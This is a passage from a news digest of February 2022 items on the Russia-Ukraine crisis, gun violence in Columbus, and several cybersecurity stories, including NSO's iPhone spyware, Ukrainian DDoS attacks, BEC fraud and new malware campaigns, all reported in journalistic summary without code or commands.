West.</p> <p>"Of course, we hear all the messages about diplomacy and we are ready to engage in diplomatic efforts with Russia," Stoltenberg said.</p> <p>Russia's military said units from its western and southern military districts, that have amassed thousands of troops near Ukraine, have begun returning to their bases. The defense ministry on Wednesday said the western military district units had completed loading their tanks onto transports and were now beginning a "1000 kilometer" journey back to their home base.</p> <p>Russia is continuing to hold huge exercises in neighboring Belarus and in the Black Sea, which are due to run until the end of this week.</p> <p>Western and Ukrainian officials, as well as independent military analysts have expressed skepticism that the announced moves reflect a true pull-back, noting that previously announced withdrawals have amounted to little more than shuffling forces around.</p> <p>U.S. officials also said they have not seen a real withdrawal.</p> <p>"On the contrary, we continue to see forces, especially forces in the vanguard of any renewed aggression against Ukraine, continuing to be at the border, to mass at the border," Secretary of State Anthony Blinken told ABC's George Stephanopoulos on "Good Morning America" Wednesday.</p> <p>Russia has amassed an estimated 150,000 troops on three sides of Ukraine, a presence that includes long-range artillery, advanced aircraft and dozens of attack helicopters. U.S. officials have warned in recent days that some of the troops appear to be moving into "firing positions".</p>

Satellite photographs from a private company and videos spotted on social media by open source researchers appear to show that for now Russia has continued to move forces closer to the border with Ukraine. A large number of cellphone videos have appeared on TikTok that seem to show convoys of tanks and armored vehicles moving in the Belgorod region that borders Ukraine.

The Russian state newspaper Izvestia cited defense ministry sources that the units re-basing were the western district's 3rd Motor Rifle Division and the southern district's 42nd Guards and 150th Motorized-Rifle Division. But analysts said that the units' home base are located close to Ukraine in any case. The 3rd Motor Rifle Division is based in the town of Boguchar, only about 60 miles from the border. It means the units rather than pulling back from the border are simply moving to a different location along the border.

Belarus' foreign minister Vladimir Makey said at a press conference on Wednesday that all Russian troops would leave his country after the joint drills end February 20.

U.S. officials continue to believe it is likely Russia will launch a large-scale invasion, potentially as early as this week, although they don't believe Putin has made a final decision yet. ABC News learned that U.S. officials had briefed allies that Wednesday could be the day of the attack because they had information Putin has ordered his military to be ready to go from that day.

The U.S. assesses that Russia now has all the necessary forces in place to launch a major attack if Putin chooses. It believes such an attack would not be limited to eastern Ukraine but would target the capital Kyiv, aiming to decapitate the government in a lightning strike planned to be over within 72 hours. The operation would be preceded by large-scale cyber attacks and aerial bombardments against critical infrastructure, before special forces enter Kyiv to target Ukraine's leadership. Russian forces in neighboring Belarus would sweep in from the north, according to the U.S. assessment.

A cyber attack hit the website of Ukraine's defense ministry and two of its largest state banks on Tuesday night. The cyber defense department of Ukraine's national security service said the DDoS attack was very large, but the damage appeared limited, it said due to preparations Ukraine had taken in recent weeks. After some disruption in online payments, the two banks, Privat Bank and the State Savings Bank, said their systems were working again. The security service said the U.S. was assisting Ukraine in protecting itself against the attack.

Ukraine's government has appeared more skeptical of the invasion risk, with senior officials saying they did not see signs Russia was preparing to attack Wednesday.

President Zelenskyy inspected military exercises in the Rivne region near Belarus, wearing army fatigues. In an address filmed selfie-style on his phone earlier Wednesday, he told Ukrainians, "Our shared desire to live unites us, to live together in peace. We are in Ukraine and no one can defend our home like we can."

In Lviv, the largest city in western Ukraine, hundreds of cadets at a local military academy gathered around a towering flag pole on Wednesday morning for a ceremony, where they sang the national anthem, which begins "Ukraine is not dead yet."

[Return to Top](#)

HEADLINE	02/16 Mayor: gun violence public health crisis
SOURCE	https://abcnews.go.com/US/columbus-mayor-declares-gun-violence-public-health-crisis/story?id=82926233
GIST	<p>The mayor of Columbus, Ohio, declared gun violence a public health crisis on Tuesday, after he said the city set a record number of homicides for the second year in a row.</p> <p>Mayor Andrew Ginther said the city had 180 homicides in 2020 and 204 homicides in 2021. Of the homicides that occurred last year, 91% involved the use of a firearm, he said.</p> <p>"We are less than, as a community, because of gun violence," Andrew Ginther said at a press conference. "This issue is plaguing our city to a staggering degree."</p>

"We will not wait for the state house and congress to act," Ginther said.

Ginther also criticized U.S. lawmakers for their lack of action to mitigate gun violence.

"Unfortunately the state and federal levels of governments have not made it easy or in many cases have made it almost impossible to take the sort of action that this moment requires," he said.

"Laws passed in the state house and congress as well as legal decisions handed down by the courts have severely limited our ability to move the needle on gun violence. And just as destructive as these laws can be, inaction is equally infuriating," Ginther said.

Guns have been flowing in and out of the city despite Columbus not manufacturing guns, Ginther said, citing statistics from the Bureau of Alcohol, Tobacco, Firearms and Explosives.

More than 2,700 guns were recovered in Columbus in 2020, [the agency said last year](#). The city beat out Cincinnati's 2,284 firearms recovered and Cleveland's 1,693 firearms recovered.

The mayor said he will be forming the "Columbus Alliance Against Illegal Guns," a coalition of residents, community leaders, faith leaders and medical professionals to "demand common sense gun reform from the state house and congress."

"The best way to fight back against the illegal guns is to bring the entire community together," Ginther said.

The group will be looking into what new solutions other communities have been designing and implementing at the local level to reduce gun violence and restore community safety, he said.

Ginther also said he wants Columbus to join the U.S. Justice Department's firearms trafficking strike forces. The coalition launched in July includes New York City, Chicago, the San Francisco Bay Area/Sacramento, Los Angeles and Washington D.C.

The group was formed last year "to help reduce gun violence by disrupting illegal firearms trafficking in key regions across the country," according to the [Department of Justice](#).

"We are asking the president and the attorney general to expand that list and include the City of Columbus," Ginther said.

The Department of Justice did not immediately respond to ABC News' request for comment.

Columbus City Attorney Zach Klein also spoke at the press conference, calling out a Republican blockade that is preventing cities and individuals from "doing anything to prevent gun violence."

Robert R. Cupp, speaker of the Ohio House of Representatives, and a representative for the Ohio Republican Party did not immediately respond to ABC News' request for comment.

[Return to Top](#)

Cyber Awareness

[Top of page](#)

HEADLINE	02/17 Woman's iPhone revealed global hacking
SOURCE	https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/
GIST	WASHINGTON, Feb 17 (Reuters) - A single activist helped turn the tide against NSO Group, one of the world's most sophisticated spyware companies now facing a cascade of legal action and scrutiny in

Washington over damaging new allegations that its software was used to hack government officials and dissidents around the world.

It all started with a software glitch on her iPhone.

An unusual error in NSO's spyware allowed Saudi women's rights activist Loujain al-Hathloul and privacy researchers to discover a trove of evidence suggesting the Israeli spyware maker had helped hack her iPhone, according to six people involved in the incident. A mysterious fake image file within her phone, mistakenly left behind by the spyware, tipped off security researchers.

The discovery on al-Hathloul's phone last year ignited a storm of legal and government action that has put NSO on the defensive. How the hack was initially uncovered is reported here for the first time.

Al-Hathloul, one of Saudi Arabia's most prominent activists, is known for helping lead a campaign to end the ban on women drivers in Saudi Arabia. She was released from jail in February 2021 on charges of harming national security.

Soon after her release from jail, the activist received an email from Google warning her that state-backed hackers had tried to penetrate her Gmail account. Fearful that her iPhone had been hacked as well, al-Hathloul contacted the Canadian privacy rights group Citizen Lab and asked them to probe her device for evidence, three people close to al-Hathloul told Reuters.

After six months of digging through her iPhone records, Citizen Lab researcher Bill Marczak made what he described as an unprecedented discovery: a malfunction in the surveillance software implanted on her phone had left a copy of the malicious image file, rather than deleting itself, after stealing the messages of its target.

He said the finding, computer code left by the attack, provided direct evidence NSO built the espionage tool.

"It was a game changer," said Marczak "We caught something that the company thought was uncatchable."

The discovery amounted to a hacking blueprint and led Apple Inc (AAPL.O) to notify thousands of other state-backed hacking victims around the world, according to four people with direct knowledge of the incident.

Citizen Lab and al-Hathloul's find provided the basis for Apple's November 2021 lawsuit against NSO and it also reverberated in Washington, where U.S. officials learned that NSO's cyberweapon was used to spy on American diplomats.

In recent years, the spyware industry has enjoyed explosive growth as governments around the world buy phone hacking software that allows the kind of digital surveillance once the purview of just a few elite intelligence agencies.

Over the past year, a series of revelations from journalists and activists, including the international journalism collaboration Pegasus Project, has tied the spyware industry to human rights violations, fueling greater scrutiny of NSO and its peers.

But security researchers say the al-Hathloul discovery was the first to provide a blueprint of a powerful new form of cyberespionage, a hacking tool that penetrates devices without any interaction from the user, providing the most concrete evidence to date of the scope of the weapon.

In a statement, an NSO spokesperson said the company does not operate the hacking tools it sells – "government, law enforcement and intelligence agencies do." The spokesperson did not answer questions on whether its software was used to target al-Hathloul or other activists.

But the spokesperson said the organizations making those claims were “political opponents of cyber intelligence,” and suggested some of the allegations were “contractually and technologically impossible.” The spokesperson declined to provide specifics, citing client confidentiality agreements.

Without elaborating on specifics, the company said it had an established procedure to investigate alleged misuse of its products and had cut off clients over human rights issues.

DISCOVERING THE BLUEPRINT

Al-Hathloul had good reason to be suspicious - it was not the first time she was being watched.

A 2019 Reuters investigation revealed that she was targeted in 2017 by a team of U.S. mercenaries who surveilled dissidents on behalf of the United Arab Emirates under a secret program called Project Raven, which categorized her as a “national security threat” and hacked into her iPhone.

She was arrested and jailed in Saudi Arabia for almost three years, where her family says she was tortured and interrogated utilizing information stolen from her device. Al-Hathloul was released in February 2021 and is currently banned from leaving the country.

Reuters has no evidence NSO was involved in that earlier hack.

Al-Hathloul’s experience of surveillance and imprisonment made her determined to gather evidence that could be used against those who wield these tools, said her sister Lina al-Hathloul. “She feels she has a responsibility to continue this fight because she knows she can change things.”

The type of spyware Citizen Lab discovered on al-Hathloul’s iPhone is known as a “zero click,” meaning the user can be infected without ever clicking on a malicious link.

Zero-click malware usually deletes itself upon infecting a user, leaving researchers and tech companies without a sample of the weapon to study. That can make gathering hard evidence of iPhone hacks almost impossible, security researchers say.

But this time was different.

The software glitch left a copy of the spyware hidden on al-Hathloul’s iPhone, allowing Marczak and his team to obtain a virtual blueprint of the attack and evidence of who had built it.

“Here we had the shell casing from the crime scene,” he said.

Marczak and his team found that the spyware worked in part by sending picture files to al-Hathloul through an invisible text message.

The image files tricked the iPhone into giving access to its entire memory, bypassing security and allowing the installation of spyware that would steal a user's messages.

The Citizen Lab discovery provided solid evidence the cyberweapon was built by NSO, said Marczak, whose analysis was confirmed by researchers from Amnesty International and Apple, according to three people with direct knowledge of the situation.

The spyware found on al-Hathloul’s device contained code that showed it was communicating with servers Citizen Lab previously identified as controlled by NSO, Marczak said. Citizen Lab named this new iPhone hacking method “ForcedEntry.” The researchers then provided the sample to Apple last September.

Having a blueprint of the attack in hand allowed Apple to fix the critical vulnerability and led them to notify thousands of other iPhone users who were targeted by NSO software, warning them they had been targeted by “state-sponsored attackers.”

It was the first time Apple had taken this step.

While Apple determined the vast majority were targeted through NSO’s tool, security researchers also discovered spy software from a second Israeli vendor QuaDream leveraged the same iPhone vulnerability, Reuters reported earlier this month. QuaDream has not responded to repeated requests for comment.

The victims ranged from dissidents critical of Thailand's government to human rights activists in El Salvador.

Citing the findings obtained from al-Hathloul’s phone, Apple sued NSO in November in federal court alleging the spyware maker had violated U.S. laws by building products designed “to target, attack, and harm Apple users, Apple products, and Apple.” Apple credited Citizen Lab with providing "technical information" used as evidence for the lawsuit, but did not reveal that it was originally obtained from al-Hathloul's iPhone.

NSO said its tools have assisted law enforcement and have saved "thousands of lives." The company said some of the allegations attributed to NSO software were not credible, but declined to elaborate on specific claims citing confidentiality agreements with its clients.

Among those Apple warned were at least nine U.S. State Department employees in Uganda who were targeted with NSO software, according to people familiar with the matter, igniting a fresh wave of criticism against the company in Washington.

In November, the U.S. Commerce Department placed NSO on a trade blacklist, restricting American companies from selling the Israeli firm software products, threatening its supply chain.

The Commerce Department said the action was based on evidence that NSO’s spyware was used to target “journalists, businesspeople, activists, academics, and embassy workers.”

In December, Democratic Senator Ron Wyden and 17 other lawmakers called for the Treasury Department to sanction NSO Group and three other foreign surveillance companies they say helped authoritarian governments commit human rights abuses.

“When the public saw you had U.S. government figures getting hacked, that quite clearly moved the needle,” Wyden told Reuters in an interview, referring to the targeting of U.S. officials in Uganda.

Lina al-Hathloul, Loujain’s sister, said the financial blows to NSO might be the only thing that can deter the spyware industry. “It hit them where it hurts,” she said.

[Return to Top](#)

HEADLINE	02/16 Ukraine: disruptions to sow panic
SOURCE	https://www.cyberscoop.com/ukraine-websites-ddos-joint-briefing/
GIST	<p>Tuesday’s disruption of multiple Ukrainian government websites and web services for several state-owned banks — along with spam text messages falsely claiming ATMs didn’t work — were part of a coordinated operation designed to sow panic, Ukrainian government officials claimed Wednesday.</p> <p>The officials said it was “too early to talk about specific actors” associated with the distributed denial-of-service (DDoS) attacks, but that the targeting of multiple websites, along with the text messages, suggested an extensive effort beyond the range of an individual or even a group of hackers. The remarks, from some of Ukraine’s cybersecurity and law enforcement leaders, came at a joint briefing Wednesday that the government translated into English on Twitter.</p>

[The cyber incidents](#) came as the threat of Russian military assault on Ukraine looms large, even as the Russians and NATO governments continue talks in search of a diplomatic resolution. [President Joe Biden said Tuesday](#) that 150,000 Russian troops remain in a “threatening position” around Ukraine, and that military escalation “remains distinctly possible.”

A spokesperson for the U.S. National Security Council told CyberScoop that the White House was aware of the DDoS situation and had “reached out to Ukrainian counterparts to offer support in the investigation and response to these incidents.”

DDoS incidents are relatively unsophisticated when compared with other forms of cyberattacks. Targeted systems are flooded with phony internet traffic that can make them inaccessible to normal users.

The hosting provider for the domains that were targeted [reported Wednesday](#) that the traffic came from foreign and Ukrainian IP addresses, and that at its peak, it exceeded 150 Gbps. That would [suggest a large attack](#), but far from the largest DDoS attacks ever seen.

DDoS attacks typically do not affect any underlying data or systems, although Victor Zhora, the deputy chairman of Ukraine’s State Service of Special Communications and Information Protection, said DDoS traffic can be used to hide more destructive actions. In this case, however, Ukrainian officials so far see no signs of data leakage or distortion, he said.

Ukraine is “facing completely unprecedented attacks,” he added, but added that he is “convinced that Ukraine will withstand this cyber aggression.”

Some of the government sites were taken offline proactively to limit the spread of attacks and prevent possible damage, Zhora said. The site for the Ministry of Defense, for instance, was disconnected from the external networks, but the site was not damaged, he said.

The U.S. government believes Russian hackers have penetrated Ukrainian military, energy and other critical computer networks with the ability to disrupt systems should the Russian government choose to attack Ukraine, [the Washington Post reported Tuesday](#). Zhora said he could not confirm that Russian hackers had broken into Ukraine’s critical infrastructure networks.

Ilya Vityuk, the head of the cyber department of Ukraine’s security services, said officials see “a trace of foreign intelligence services,” and that Tuesday’s events had similarities to [a Jan. 14 operation](#) during which hackers defaced dozens of Ukrainian government websites and deployed fake ransomware on some government systems that wiped computers.

Some in Ukraine pointed the finger at the Russian government, but cybersecurity experts and others stopped short of formal attribution. Vityuk said during Wednesday’s briefing that the only suspect at this point was Russia, but said it wasn’t a formal attribution, [Sky News reported](#). The [Russian government denied](#) any involvement.

Biden said Tuesday that if “Russia attacks the United States or our allies through asymmetric means, like disruptive cyberattacks against our companies or critical infrastructure, we’re prepared to respond.”

[Return to Top](#)

HEADLINE	02/16 Report: Baltimore conned out of \$375,000
SOURCE	https://www.infosecurity-magazine.com/news/baltimore-conned-out-of-375k/
GIST	<p>A new report by the Office of the Inspector General (OIG) has revealed that Baltimore city was tricked out of hundreds of thousands of dollars last year by a cyber-criminal posing as a vendor.</p> <p>The OIG launched an investigation after receiving information from Baltimore’s Bureau of Accounting and Payroll Services (BAPS) in October 2021 regarding an alleged fraudulent Electronic Funds Transfer (EFT).</p>

The alarm was raised over a contractor who had received funds from the Mayor's Office of Children and Family Success (MOCFS).

A fraudster claiming to be associated with an employee from the vendor company emailed BAPS and MOCFS twice to request a change to the vendor's EFT remittance information.

The fraudster asked for the bank details kept on file for the vendor to be updated to a different bank account at another financial institution.

"The OIG later determined that the email account associated with the Vendor Employee was compromised by a malicious actor, who established rules within the Vendor Employee's email account as a result of a phishing attack," noted inspector general Isabel Mercedes Cumming.

She added: "Therefore, the malicious actor was able to correspond directly with City employees without the Vendor's knowledge."

On December 21 2020, BAPS complied with the fraudster's change request and altered the bank details on file for the vendor company. BAPS made an electronic funds transfer to the new account the next day.

The bank detected that the transfer was fraudulent and returned the funds to the city's banking institution.

On January 5 2021, the fraudster contacted MOCFS and BAPS again, asking for the money to be transferred to a different account at a third financial institution. The fraudster supplied a bank letter and copy of a voided check whose details matched the third account as verification.

Believing the fraudster's claims, BAPS paid \$376,213.10 into the third account on January 7 2021.

OIG determined that BAPS had no list of authorized signatories for vendors, and instead of independently authenticating information and requests, BAPS relied on MOCFS and accepted an incoming phone call from an individual claiming to be the Vendor's chief financial officer (CFO).

The vendor is yet to be paid by the city but did get \$50,000 from its insurance company.

[Return to Top](#)

HEADLINE	02/16 Illinois healthcare data breaches
SOURCE	https://www.infosecurity-magazine.com/news/healthcare-data-breaches-impact/
GIST	<p>The protected health information (PHI) of nearly 150,000 residents of Illinois may have been exposed in data breaches at two separate healthcare organizations.</p> <p>South Shore Hospital (SSH) in Chicago and the Family Christian Health Center (FCHC) in Harvey, Illinois, have begun notifying Illinoisans that the security of their data may have been compromised.</p> <p>SSH became aware of suspicious activity on its network on December 10 2021. The hospital hired a third-party digital forensics firm to investigate the activity and activated its emergency cybersecurity protocols.</p> <p>The investigation determined that data belonging to some current and former hospital patients and employees may have been accessed by an unauthorized third-party. Data that may have been exposed in the attack included names, addresses, birth dates, Social Security numbers, health insurance information, diagnoses, Medicare and Medicaid information and financial information.</p> <p>SSH has not revealed the exact nature of the incident or stated whether any files had been exfiltrated during the attack.</p>

	<p>The hospital reported the breach as a hacking incident impacted nearly 116,000 individuals. SSH is offering all impacted individuals free identity theft protection services.</p> <p>“To help reduce the risk of something like this happening again, we are implementing additional security controls to protect our network,” said SSH in a data security notice.</p> <p>“These steps include enforcing stronger password requirements, enabling multi-factor authentication and additional data privacy and security awareness training for SSH’s workforce.”</p> <p>The healthcare organization said that it had also deployed supplementary anti-malware and email phishing tools and “will continue to evaluate our security protocols for opportunities to further bolster our network security.”</p> <p>Data in the care of FCHC was compromised during a ransomware attack that began around November 18 2021 but wasn’t discovered until November 30 2021. The incident impacted 31,000 patients.</p> <p>Information compromised in the attack included dental patients’ names, dates of birth, addresses, insurance cards and driver’s licenses. Exposed data belonging to other patients included names, dates of birth, addresses, insurance identification numbers and Social Security numbers.</p> <p>FCHC said in a statement that it “has already taken steps to enhance its technical safeguards to help minimize the occurrence of future cyber-attacks.”</p>
Return to Top	

HEADLINE	02/17 ‘Largest ever’ bot attack blocked
SOURCE	https://www.infosecurity-magazine.com/news/researchers-block-largest-ever-bot/
GIST	<p>Security researchers claim to have stopped the largest bot attack they’ve ever seen, leveraging 400,000 compromised IP addresses to scrape web data.</p> <p>Imperva said the large-scale botnet generated 400 million requests from the IP addresses over four days, comprising around 10 requests per IP per hour on average. Its mitigation service spotted the 30-fold surge in traffic volume to the impacted site and mitigated the attack.</p> <p>The victim in this case was a job listings site with a presence in six countries. The attack was designed to harvest job seekers’ profiles from the site.</p> <p>“Web scraping is considered by the OWASP Foundation as an automated threat (OAT-011), defined as collecting accessible data and/or processed output from the application. While web scraping treads a fine line between business intelligence and violating data privacy, it remains one of the most prominent automated attacks affecting organizations today,” Imperva warned.</p> <p>“Scraping can result in lower conversion rates, skewed marketing analytics, decrease in SEO ranking, website latency, and even downtime (usually caused by aggressive scrapers).”</p> <p>Similar tactics can be used in “scalping” attacks designed to buy-up in-demand, limited edition products for resale later at a higher price.</p> <p>During Black Friday week, Imperva mitigated one such attack on a retailer’s website, which saw nine million bot requests in just 15 minutes – 2500% more than its average traffic volume.</p> <p>“Stopping automated bot attacks on hyped, limited-edition product launches ensures that legitimate customers take first priority while leaving scalpers out of the equation,” said Imperva.</p>

	“Furthermore, it reduces impact on an organization’s infrastructure from unwanted bot traffic. When websites or applications are overwhelmed by bot traffic, it can result in denial of service, revenue losses, and reputational damage.”
Return to Top	

HEADLINE	02/17 Ransomware attacks 2021: 620M
SOURCE	https://www.infosecurity-magazine.com/news/over-620-million-ransomware/
GIST	<p>Corporate IT teams were faced with a triple-digit (105%) growth in ransomware attacks last year to over 623 million, according to SonicWall.</p> <p>The security vendor’s newly published 2022 SonicWall Cyber Threat Report was compiled with analysis from one million security sensors in nearly 215 countries, as well as third-party sources.</p> <p>Nearly all monitored threats, including IoT malware, encrypted threats and cryptojacking, rose year-on-year in 2021. However, the rise of ransomware has been particularly meteoric, surging 232% since 2019, with detections up nearly 319 million on 2020 figures.</p> <p>Alongside an 1885% increase in attacks on government targets, healthcare (755%), education (152%) and retail (21%) also experienced a surge in ransomware threats.</p> <p>SonicWall said it also identified a total of 442,151 never-before-seen malware variants in 2021, a 65% year-on-year increase and an average of 1211 per day.</p> <p>Encrypted threats – malicious attacks hidden in HTTPS traffic – increased 167% in 2020, reaching 2.5 million by the end of the year.</p> <p>Cryptojacking attacks rose 19% globally to a record high of 97.1 million, while IoT malware detections increased 6% to 60.1 million over the year, according to SonicWall.</p> <p>Interestingly, the vendor also saw a rapid and significant impact from Log4Shell exploitation. Threat actors logged 142 million exploit attempts between December 11 and January 31, amounting to 2.7 million per day.</p> <p>According to SonicWall, these attempts had already passed the one million mark within three days of public disclosure.</p> <p>SonicWall president and CEO Bill Conner said the surge in threats has also spurred defenders into enhancing their resilience.</p> <p>“Businesses outside of cybersecurity doubled their efforts to fight cybercrime. From mid-2020 to 2021, the number of CEOs who said cybersecurity risks were the biggest threat to short-term growth nearly doubled, and corporate boards are increasingly forming cybersecurity committees,” he argued.</p> <p>“This has translated to increased funding: global cybersecurity spending was projected to grow 12.4% by the end of 2021, twice as fast as in 2020.”</p>
Return to Top	

HEADLINE	02/16 TrickBot malware infects tech giants
SOURCE	https://www.hackread.com/trickbot-malware-infects-tech-giants-customers/
GIST	<p>As per the latest report published by Check Point Research Team, TrickBot developers are constantly striving to improvise the malware’s functionalities. For your information, TrickBot is a banking trojan that first emerged in 2016 and since has evolved into an all-encompassing ecosystem of a botnet, malware, and ransomware over the years.</p> <p>140,000+ TrickBot Infections Since Nov 2020</p>

According to Check Point researchers, there has been significant activity from TrickBot operators since 2020. The report comprised data obtained since November 2020, during which the company claims over 140,000 devices have been infected by the trojan, targeting customers of around sixty high-profile corporations, including but not limited to the following:

1. PayPal
2. Google
3. Amazon
4. Microsoft
5. Wells Fargo
6. Bank of America
7. American Express

TrickBot hits devices used by general public

Check Point's cybersecurity, research, and innovation manager, Alexander Chaillytko, noted that these 140,000 machines infected over 16 months are mainly computers used by the general public and some organizations. This number is not final, which is why the company wrote over 140,000 machines since the gathered data represents the telemetry received from customers of Check Point.

However, the company is certain that at least 1 out of every 45 companies might be impacted by TrickBot. Most modules of the trojan are used to steal login credentials from customers of large-scale banks.

TrickBot Transition

According to Check Point's [report](#), TrickBot authors have added the botnet with anti-analysis and anti-deobfuscation layers to enhance its capabilities. So, if a researcher tries to decipher its code, the malware stops communicating its C2 server and stops working entirely.

Researchers wrote that the inclusion of such features reveals that TrickBot operators are highly skilled, which explains why it has continued to remain a "prevalent malware family." It is worth noting that last month Hackread [published a detailed report](#) based on the findings of IBM researchers revealing that TrickBot malware has added a new feature that crashes researchers' devices to evade analysis.

[Return to Top](#)

HEADLINE	02/17 Canada's major banks go offline
SOURCE	https://www.bleepingcomputer.com/news/security/canadas-major-banks-go-offline-in-mysterious-hours-long-outage/
GIST	<p>Five major Canadian banks went offline for hours blocking access to online and mobile banking as well as e-transfers for customers.</p> <p>The banks hit by the outage include Royal Bank of Canada (RBC), BMO (Bank of Montreal), Scotiabank, TD Bank Canada, and the Canadian Imperial Bank of Commerce (CIBC).</p> <p>Online banking and e-Transfers down for many Canada's five major banks went offline yesterday impeding access to e-Transfers, online and mobile banking services for many.</p> <p>Reports of users having trouble getting to their online banking peaked between 5 p.m. and 6 p.m. Eastern time on Wednesday, although BleepingComputer is continuing to see an influx of these reports into today:</p> <p>Downdetector reports of banks experiencing outages (times in GMT) "We are currently experiencing technical issues with our online and mobile banking, as well as our phone systems," an RBC representative confirmed.</p> <p>"Our experts are investigating and working to get this fixed as quickly as possible, but we have no ETA to provide at this time. We appreciate your patience."</p>

A few hours later, within half an hour of RBC stating that all systems were back up, customers continued to report issues:

RBC customer Andrew Currie [reported](#) having "no access to my money at the grocery store" and being stuck in the checkout line for half an hour due to the outage.

BMO customers also saw the bank's "Global Money Transfer service" being down "all day" with transfers [getting auto-rejected](#) for no obvious reason. A BMO representative directed such customers to reach out to the customer service.

CIBC [didn't acknowledge](#) any issues with their online banking.

TD Bank's mobile banking app also locked users out, with customer service representatives vaguely [responding](#) that they "haven't been advised of recent issues with our online service through EasyWeb."

Some had trouble at the ATMs, although it isn't clear at this time if that is because of the outage. An RBC representative appears to [convey](#) that the customer having ATM issues is using an older debit card:

Emergencies Act imposes rules on some transfers

The cause of the outage is yet to be known but its timing is rather interesting, just days after the Canadian Prime Minister Trudeau [invoked the Emergencies Act](#) amid ongoing 'Freedom Convoy' protests.

On Monday, at a Parliament Hill [press conference](#), Deputy Prime Minister Chrystia Freeland explained the new regulations that payment service providers need to adhere to, under the newly invoked Emergencies Act.

"These illegal blockades must be lifted, and they will be.

In invoking the Emergencies Act, we are announcing the following immediate actions.

First, we are broadening the scope of Canada's anti-money laundering and terrorist financing rules, so that they cover crowdfunding platforms and the payment service providers they use. These changes cover all forms of transactions including digital assets, such as cryptocurrencies.

The illegal blockades have highlighted the fact that crowdfunding platforms and some of the payment service providers they use are not fully captured under the [Proceeds of Crime and Terrorist Financing Act](#). Our banks and financial institutions are already obligated to report to The Financial Transactions and Reports Analysis Centre of Canada or FINTRAC.

As of today, all crowdfunding platforms and the payment service providers they use must register with FINTRAC, and they must report large and suspicious transactions to FINTRAC. This will help mitigate the risk that these platforms receive illicit funds."

Additionally, the Emergencies Act authorizes banks to freeze accounts of individuals and businesses that they *suspect* to be affiliated with the illegal blockades, without requiring a court order and without incurring any civil liability.

As the Deputy PM states though, as banks are already obligated to report to FINTRAC, it remains unclear how would new legislation trigger a planned or sudden, unexpected downtime.

[Return to Top](#)

HEADLINE	02/16 FBI: BEC scammers abuse virtual meetings
SOURCE	https://www.darkreading.com/attacks-breaches/cybercriminals-abuse-virtual-meeting-platforms-in-bec-attacks

GIST	<p>The FBI warned today that some business email compromise (BEC) scammers have moved their attack vectors to virtual meeting platforms, where they dupe employees into transferring money to them by posing as the CEO or CFO of the victim organization.</p> <p>These types of attacks rose between 2019 and 2021, as attackers took advantage of employees working from home due to the pandemic, according to the FBI. Among their M.O.s: hijacking an exec's email account and inviting employees to a virtual meeting. To disguise themselves, they insert the exec's photo and use chat or email to request a funds transfer, pretending their video and sound is inoperable in the virtual meeting. They also use stolen employee email accounts to join company virtual meetings to gather intel on the company. In other cases, they have sent spoofed emails purportedly from the CEO or other exec's account with instructions for transferring money for them, claiming they are unable to do so because they were "in a virtual meeting."</p> <p>The FBI recommends vigilance about joining virtual meeting platforms not typically used by your organization, using multifactor authentication for accounts, verifying email addresses to ensure they aren't spoofed, and other due-diligence practices to avoid getting social-engineered.</p>
Return to Top	

HEADLINE	02/16 Moses Staff targets Israel organizations
SOURCE	https://thehackernews.com/2022/02/moses-staff-hackers-targeting-israeli.html?&web_view=true
GIST	<p>The politically motivated Moses Staff hacker group has been observed using a custom multi-component toolset with the goal of carrying out espionage against its targets as part of a new campaign that exclusively singles out Israeli organizations.</p> <p>First publicly documented in late 2021, Moses Staff is believed to be sponsored by the Iranian government, with attacks reported against entities in Israel, Italy, India, Germany, Chile, Turkey, the U.A.E., and the U.S.</p> <p>Earlier this month, the hacker collective was observed incorporating a previously undocumented remote access trojan (RAT) called "StrifeWater" that masquerades as the Windows Calculator app to evade detection.</p> <p>"Close examination reveals that the group has been active for over a year, much earlier than the group's first official public exposure, managing to stay under the radar with an extremely low detection rate," findings from FortiGuard Labs reveal.</p> <p>The latest threat activity involves an attack path that leverages the ProxyShell vulnerability in Microsoft Exchange servers as an initial infection vector to deploy two web shells, followed by exfiltrating Outlook Data Files (.PST) from the compromised server.</p> <p>Subsequent phases of the infection chain involve an attempt to steal credentials by dumping the memory contents of a critical Windows process called Local Security Authority Subsystem Service (Lsass.exe), before dropping and loading the "StrifeWater" backdoor (broker.exe).</p> <p>The installation of the "Broker" implant, which is used to execute commands fetched from a remote server, download files, and exfiltrate data from target networks, is facilitated by a loader that masquerades as a "Hard Disk Drives Fast Stop Service" dubbed "DriveGuard" (drvguard.exe).</p> <p>On top of that, the loader is also responsible for launching a watchdog mechanism ("lic.dll") that ensures its own service is never interrupted by restarting the DriveGuard every time it's stopped as well as ensuring that the loader is configured to run automatically on system startup.</p> <p>The broker backdoor, for its part, is also equipped to delete itself from the disk using a CMD command, capture screenshots, and update the malware to replace the current module on the system with a file received from the server.</p>

	<p>StrifeWater is also notable for its attempts to stay under the radar by posing as the Windows Calculator app (calc.exe), with FortiGuard Labs researchers discovering two older samples dating back to the end of December 2020, suggesting that the campaign has been operational for over a year.</p> <p>The attribution to Moses Staff is based on similarities in the web shells used in previously disclosed attacks and its pattern of victimology.</p> <p>"The group is highly motivated, capable, and set on damaging Israeli entities," the researchers said. "At this point, they continue to depend on 1-day exploits for their initial intrusion phase. Although the attacks we identified were carried out for espionage purposes, this does not negate the possibility that the operators will later turn to destructive measures."</p>
Return to Top	

HEADLINE	02/16 Kraken: Golang botnet in development
SOURCE	https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/?web_view=true
GIST	<p>In late October 2021, ZeroFox Intelligence discovered a previously unknown botnet called Kraken.</p> <p>Though still under active development, Kraken already features the ability to download and execute secondary payloads, run shell commands, and take screenshots of the victim's system. It currently makes use of SmokeLoader—a piece of malware used to install other malicious software—to spread, quickly gaining hundreds of bots each time a new command and control server is deployed. Despite having the same name, it should not be confused with the Kraken botnet from 2008 as they have little else in common.</p> <p>Details</p> <p>Since October 2021, ZeroFox Intelligence has been tracking Kraken – a previously unknown botnet targeting Windows that is currently under active development. Although the bot is simple in functionality, the author has been experimenting with new features while altering others. Current iterations of Kraken feature the ability to:</p> <ul style="list-style-type: none"> • Maintain persistence • Collect information about the host for registration (varies per version) • Download and execute files • Run shell commands • Steal various cryptocurrency wallets • Take screenshots <p>“Open Source” Beginnings</p> <p>Early versions of Kraken were based on code uploaded to GitHub on October 10, 2021. The project only had two commits, and the source code pre-dated any binaries ZeroFox observed in the wild. It is not currently known if the GitHub profile belongs to the botnet's operator or if the operator simply used the code to kickstart their development.</p> <p>Observed Infection Vector</p> <p>Thanks to a tip by @abuse_ch, ZeroFox learned that Kraken originally spread in self-extracting RAR SFX 